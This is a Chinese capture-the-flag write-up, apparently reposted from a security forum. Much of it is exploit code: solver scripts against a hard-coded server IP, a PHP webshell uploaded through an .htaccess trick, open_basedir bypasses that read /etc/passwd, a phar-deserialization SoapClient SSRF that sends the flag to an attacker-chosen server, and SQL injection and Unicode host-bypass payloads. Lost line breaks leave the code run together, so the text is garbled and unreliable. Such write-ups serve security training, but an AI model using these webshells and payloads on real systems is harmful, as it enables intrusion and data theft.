print i, int(hi - lo)
return int(hi)s = "0123456789abcdefABCDEF"p = remote("47.111.59.243","8003")p.recvuntil("[*] Please find a string that md5(str + ")salt = p.recv(4)p.recvuntil("[0:5] == ")part_hash = p.recv(5)found = 0for i in s:
for j in s:
for k in s:
for l in s:
for m in s:
ss = i+j+k+l+m
if md5(ss+salt).hexdigest()[:5] == part_hash:
found = 1
break
if found:
break
if found:
break
if found:
break
if found:
breakp.recvuntil("> ")p.sendline(ss)p.recvuntil("cs[0] = ")c1 = eval(p.recvline())p.recvuntil("ns[0] = ")n1 = eval(p.recvline())p.recvuntil("cs[1] = ")c2 = eval(p.recvline())p.recvuntil("ns[1] = ")n2 = eval(p.recvline())p.recvuntil("cs[2] = ")c3 = eval(p.recvline())p.recvuntil("ns[2] = ")n3 = eval(p.recvline())p.recvuntil("cs[3] = ")c4 = eval(p.recvline())p.recvuntil("ns[3] = ")n4 = eval(p.recvline())n1p1 = gcd(n1,n2)n1p2 = gcd(n1,n3)n1p3 = gcd(n1,n4)n1p4 = n1/(n1p1*n1p2*n1p3)d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1)))m1 = pow(c1,d1,n1)n2p1 = gcd(n2,n1)n2p2 = gcd(n2,n3)n2p3 = gcd(n2,n4)n2p4 = n2/(n2p1*n2p2*n2p3)d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1)))m2 = pow(c2,d2,n2)n3p1 = gcd(n3,n1)n3p2 = gcd(n3,n2)n3p3 = gcd(n3,n4)n3p4 = n3/(n3p1*n3p2*n3p3)d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1)))m3 = pow(c3,d3,n3)n4p1 = gcd(n4,n2)n4p2 = gcd(n4,n3)n4p3 = gcd(n4,n1)n4p4 = n4/(n4p1*n4p2*n4p3)d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1)))m4 = pow(c4,d4,n4)p.recvuntil("ms[0] = ")p.sendline(hex(m1))p.recvuntil("ms[1] = ")p.sendline(hex(m2))p.recvuntil("ms[2] = ")p.sendline(hex(m3))p.recvuntil("ms[3] = ")p.sendline(hex(m4))print(p.recvline().strip())
脚本如下:
#coding=utf8from Crypto.PublicKey import DSAfrom hashlib import md5import gmpy2import hashlibfrom cryptography.hazmat.primitives.asymmetric.rsa import _modinvp = 89884656743115795580686663829063433723705316331915518116995555215732107995059028542508401244839154951727540560161931978595376162965578570688594466436802284147607626105578924348149452183916543288346766737451989059750506942292767656446346135964708979885460659773076011464167414551120634816058711585048191954497q = 1111804377363103506497255080558092668997313464491g = 81015871603456981032885262867256289415428185718067221863176015480426278916784273932461088597278453025238130171264554340337052290801398971212149002598733514497274080038687844873045392142055341888546884513467006243654622193996237786587933291936305860861104505778330178660321910982065964185311229731036440300912y = 24205967076065946398939942966555243225474145978138314135133201932616151998778053968114291774217862261420967723355996662814191035892360634754604901035581578539634376520187757713469318847622699231634156440729178396025399617453913697005440949117064991219553520585024955478025227096450962672242862991836900979588#找到一组同r的数据,m为字符串的md5# And see the brave day sunk in hideous night# Its MD5 digest: 189275664133327295485034625257633857845# (1110285731834476772119910400331516120389395795749L, 671563422243860980520073471433161684440141852624L)# ------------------------------------------------------------------------# And sable curls all silver'd o'er with white# Its MD5 digest: 76447611971473350019028042637993930502# (1110285731834476772119910400331516120389395795749L, 218895397309026853341136197466419726836220239272L)s0=671563422243860980520073471433161684440141852624s1=218895397309026853341136197466419726836220239272m0=189275664133327295485034625257633857845m1=76447611971473350019028042637993930502r= 1110285731834476772119910400331516120389395795749dm=m1-m0ds=s1-s0k = gmpy2.mul(dm, gmpy2.invert(ds, q))k = gmpy2.f_mod(k, q)tmp = gmpy2.mul(k, s0) - m0x = tmp * gmpy2.invert(r, q)x = gmpy2.f_mod(x, q)data5="""And nothing 'gainst Time's scythe can make defence"""kinv = _modinv(k, q)h = hashlib.md5(data5.encode()).digest()h = int.from_bytes(h, "big")s = kinv * (h + r * x) % qprint("("+str(r)+"L, "+str(int(s))+"L)")#flag:flag{Wh4t_a_Prety_Si3nature!}
出题人加密很直观,明文不断的加密,最终的还是明文,所以直奔主题,payload如下:
from Crypto.Random import randomfrom Crypto.Util import numberdef convert(m):
m = m ^ m >> 13
m = m ^ m << 9 & 2029229568
m = m ^ m << 17 & 2245263360
m = m ^ m >> 19
return mdef transform(message):
new_message = ''
for i in range(len(message) / 4):
block = message[i * 4 : i * 4 +4]
block = number.bytes_to_long(block)
block = convert(block)
block = number.long_to_bytes(block, 4)
new_message += block
return new_messagec1 = '641460a9'c2 = 'e3953b1a'c3 = 'aa21f3a2'def decode(c):
x = c
while True:
xx = x
x = transform(x.decode('hex')).encode('hex')
if x == c:
return xxprint(decode(c1)+decode(c2)+decode(c3))#flag{84b45f89af22ce7e67275bdc}
lsb Oracal attack
from pwn import *from hashlib import md5import decimala = 0def oracle(num):
p.recvuntil("Please input your option:")
p.sendline("D")
p.recvuntil("Your encrypted message:")
p.sendline(str(num))
p.recvuntil("The plain of your decrypted message is ")
lsb = p.recv(3)
return lsb == 'odd'def partial(c,e,n):
k = n.bit_length()
decimal.getcontext().prec = k # for 'precise enough' floats
lo = decimal.Decimal(0)
hi = decimal.Decimal(n)
for i in range(k):
if not oracle(c):
hi = (lo + hi) / 2
else:
lo = (lo + hi) / 2
c = (c * pow(2, e, n)) % n
print i, int(hi - lo)
return int(hi)s = "0123456789abcdefABCDEF"p = remote("47.111.59.243","9421")p.recvuntil("[*] Please find a string that md5(str + ")salt = p.recv(4)p.recvuntil("[0:5] == ")part_hash = p.recv(5)found = 0for i in s:
for j in s:
for k in s:
for l in s:
for m in s:
ss = i+j+k+l+m
if md5(ss+salt).hexdigest()[:5] == part_hash:
found = 1
break
if found:
break
if found:
break
if found:
break
if found:
breakp.recvuntil("> ")p.sendline(ss)p.recvuntil("Guess the Secrets 3 times, Then you will get the flag!\n")for i in range(3):
R = p.recvline().strip()
p.recvuntil("n = ")
n = eval(p.recvline().strip())
p.recvuntil("e = ")
e = eval(p.recvline().strip())
p.recvuntil("The Encypted secret:")
p.recvuntil("c = ")
c = eval(p.recvline().strip())
c_of_2 = pow(2,e,n)
m = partial((c*c_of_2)%n,e,n)
p.recvuntil("Please input your option:")
p.sendline("G")
p.recvuntil('The secret:')
p.sendline(str(m))
s = p.recvline().strip()
print(s)
log.success(s+' '+R+" success!")p.interactive()
题目功能是一个文件上传,可以上传jpg、png等文件,但是限制了php,而且还判断了上传的文件头,使用exif_image来判断的,这个很容易绕过,直接随便加一个图片文件头就行,并且上传之后会给出文件所在目录
尝试了.htaccess,发现不行,队里师傅突然说用.user.ini
orz,第一次见还能这么做。先发下p牛的链接
找到一篇类似的题,但是这里长度限制了18,太狠了,还过滤了字母数字。
于是谷歌了一番,找到了Smi1e师傅的一篇文章,结合陆队的blog,找到了思路
经过摸索,找到payload
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
接下来就是上传了,说一下流程,上传一个.htaccess,然后getshell,直接贴脚本了
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .south\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()generate_htacess()generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")
把文件上传上去之后得到shell,发现有open_basedir
,这里想到0CTF-TCTF final的绕过open_basedir
任意文件读取
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
http://47.111.59.243:9001/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile("/THis_Is_tHe_F14g"));
这道题开放了不久,给了源码,接着审计一波,index.php上传这里没啥限制,限制了文件后缀
#index.php<?phpinclude 'class.php';$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);}if (isset($_POST["upload"])) {
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$temp = explode(".", $file_name);
$extension = end($temp);
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts)
) {
$c = new Check($tmp_name);
$c->check();
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
die();
} else {
move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
}
} else {
echo "非法的文件格式";
} }
func.php接受一个url参数,参数经过一个很狠的正则,会去你上传的目录找你上传的文件,获取MIME返回。
# func.phpif (isset($_POST["submit"]) && isset($_POST["url"])) { if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!"); }else{ $file_path = $_POST['url']; $file = new File($file_path); $file->getMIME(); echo "<p>Your file type is '$file' </p>"; }}
class.php这里的File的__wakeup函数很异常,预计就是题目考点了,作用是创建一个类的新实例,给出的参数将传递到类的构造函数。
#class.php<?phpinclude 'config.php';class File{
public $file_name;
public $type;
public $func = "Check";
function __construct($file_name){
$this->file_name = $file_name;
}
function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
function __toString(){
return $this->type;
}}class Check{
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("<? in contents!");
}
}}
接下来这个admin.php,需要一个ssrf然后,之后会触发getflag函数把flag发到你服务器上
#admin.php<?phpinclude 'config.php';class Ad{
public $ip;
public $port;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
function __construct($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
$this->ip = $ip;
$this->port = $port;
$this->clazz = $clazz;
$this->func1 = $func1;
$this->func2 = $func2;
$this->func3 = $func3;
$this->arg1 = $arg1;
$this->arg2 = $arg2;
$this->arg3 = $arg3;
}
function check(){
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}}if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}}else {
echo "You r not admin!";}
经过大致分析,需要点: ssrf、触发反序列化、上传内容不能有<?、不能直接用phar等已见的协议触发。
这里正则绕过:php://filter/resource=phar://phar.phar
ssrf: 因为可以实例化任何类,然而题目并没有给什么有用的,自然想到SoapClient
上传内容不能有<?绕过: 结合前面两题的trick<script language="php">__HALT_COMPILER();</script>
触发反序列化:$this->type = finfo_file($finfo, $this->file_name);
那么这些点全部都有了,直接贴exp吧。
<?php$phar = new Phar('test.phar');$phar->startBuffering();$phar->addFromString('test.txt','text');$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}}$object = new File;echo urlencode(serialize($object));$phar->setMetadata($object);$phar->stopBuffering();
把生成的test.phar改成test.jpg上传,然后访问php://filter/resource=phar://upload/2bc454e1fc8129de63d3c034e5c0c24f/0412c29576c708cf0155e8de242169b1.jpg
这道题下午队里师傅突然说扫到源码(传说中的运维事故,运维vim异常退出导致源码泄露,运维背锅,出题人已哭晕在厕所。),源码如下
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?><html><head></head><body><a> Give me your flag, I will tell you if the flag is right. </ a><form action="" method="post"><input type="text" name="query"><input type="submit"></form></body></html><?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
这一看,感觉跟之前自己fuzz的没啥区别,唯一可喜的就是看到了执行的语句,直接上payload吧,拼接后为:select *,2||flag from Flag
即可查出flag
这题简单明了,直接是用blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
,其中关于python的如下图,具体PPT链接如下:PPT链接,我就不细说了
我们可以简单的写一个脚本来爆破一下最后一个字符串c
,脚本如下
from urllib.parse import urlparse,urlunsplit,urlsplitfrom urllib import parsedef get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
passdef getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return Falseif __name__=="__main__":
get_unicode()
结果如下,随便拿一个字符就行
根据题目提示Dont worry about the suctf.cc. Go on!
猜测应该是hosts文件suctf.cc
绑定了127.0.0.1
,既然是127.0.0.1
我们可以尝试用file协议读一下文件
成功读取,那么现在就是找flag了,根据提示猜测flag位置可能和nginx有关,尝试读一下nginx的配置文件
得到flag
这题是结合逆向的一道题,扫描一下发现有一个下载功能,可以读文件,但是试了一个常规的flag文件路径都读不到flag,猜测flag应该不在目录里面。还有一个info.php
也没有发现什么信息,猜测与题目名字有关,info.php里面搜索一下
果真有点东西,把mod_cocktail.so
文件下载下来,丢IDA
看一下
大概意思是获取Reffer
头的内容然后传入j_remix
后的字符串拿去popen
,跟进j_remix
看一下,代码如下
#include <cstdio>#include <cstring>const char* remixedchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";int num_strchr(const char *str, char c){
char *v2; // rax
int result; // eax
v2 = strchr((char*)str, c);
if ( v2 )
result = v2 - str;
else
result = -1;
return result;}void remix(const char *remixed, char *dedata){
char *v2; // r13
char v3; // si
const char *v4; // rbx
int v5; // rbp
int v6; // er14
int j; // ST0C_4
int v8; // er14
int v9; // er15
v2 = dedata;
v3 = *remixed;
if ( *remixed )
{
v4 = remixed + 1;
v5 = 0;
do
{
while ( 1 )
{
v8 = 4 * num_strchr(remixedchar, v3);
v9 = num_strchr(remixedchar, *v4);
v2[(signed int)v5] = v8 | (v9 >> 4) & 3;
if ( v4[1] != 61 )
break;
v4 += 4;
v3 = *(v4 - 1);
v5 = v5 + 1;
if ( !*(v4 - 1) )
goto LABEL_8;
}
v6 = num_strchr(remixedchar, v4[1]);
v2[(signed int)v5 + 1] = (v6 >> 2) & 0xF | 16 * v9;
if ( v4[2] == 61 )
{
v5 = v5 + 2;
}
else
{
j = v5 + 2;
v5 = v5 + 3;
v2[j] = num_strchr(remixedchar, v4[2]) & 0x3F | (v6 << 6);
}
v4 += 4;
v3 = *(v4 - 1);
}
while ( *(v4 - 1) );LABEL_8:
v5 = (signed int)v5;
}
else
{
v5 = 0LL;
}
v2[v5] = 0;}
问了一下队里面的re师傅,说这个是base64,尝试一下发现可以
但是发现都找不到flag,通过之前扫描出来的config.php
,猜测flag应该在数据库里面,读一下config文件得到数据库用户密码
show databases
一下
use flag;show tables
select * from flag.flag
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.